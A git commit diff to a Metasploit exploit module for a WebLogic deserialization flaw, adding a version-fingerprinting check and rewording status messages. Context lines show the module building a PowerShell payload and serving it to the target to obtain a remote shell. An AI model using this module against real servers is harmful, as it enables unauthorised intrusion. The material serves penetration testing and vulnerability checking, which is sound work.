Add check to weblogic_deserialize module
parent
66baff289e
commit
f92d2263d0
|
@ -48,6 +48,38 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'DisclosureDate' => 'Apr 17 2018'))
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
req = "GET /console/login/LoginForm.jsp HTTP/1.1\n"
|
||||
req << "Host: #{peer}\n\n"
|
||||
sock.put(req)
|
||||
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
return CheckCode::Unknown unless res
|
||||
|
||||
/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.*\d*)/ =~ res
|
||||
if version
|
||||
version = Gem::Version.new(version)
|
||||
vprint_status(version.to_s)
|
||||
|
||||
case
|
||||
when version.to_s.start_with?('10.3')
|
||||
return CheckCode::Appears unless version > Gem::Version.new('10.3.6.0')
|
||||
when version.to_s.start_with?('12.1')
|
||||
return CheckCode::Appears unless version > Gem::Version.new('12.1.3.0')
|
||||
when version.to_s.start_with?('12.2')
|
||||
return CheckCode::Appears unless version > Gem::Version.new('12.2.1.3')
|
||||
end
|
||||
end
|
||||
|
||||
if res.include?('Oracle WebLogic Server Administration Console')
|
||||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
CheckCode::Unknown
|
||||
end
|
||||
|
||||
def gen_resp
|
||||
pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
pwrshl.gsub!("%COMSPEC%", "cmd.exe")
|
||||
|
@ -149,7 +181,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
if @met_sent.include?(client.peerhost) then return end
|
||||
@met_sent << client.peerhost
|
||||
|
||||
vprint_status("met_sent: #{@met_sent}")
|
||||
vprint_status("Sending payload to client: #{client.peerhost}")
|
||||
|
||||
# Response format determined by watching network traffic
|
||||
# generated by EDB PoC
|
||||
|
@ -304,7 +336,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
start_service
|
||||
|
||||
vprint_status('Sending payload...')
|
||||
print_status('Sending client object payload...')
|
||||
send_payload_objdata
|
||||
|
||||
# Need to wait this long to make sure we get a shell back
|
||||
|
|
Loading…
Reference in New Issue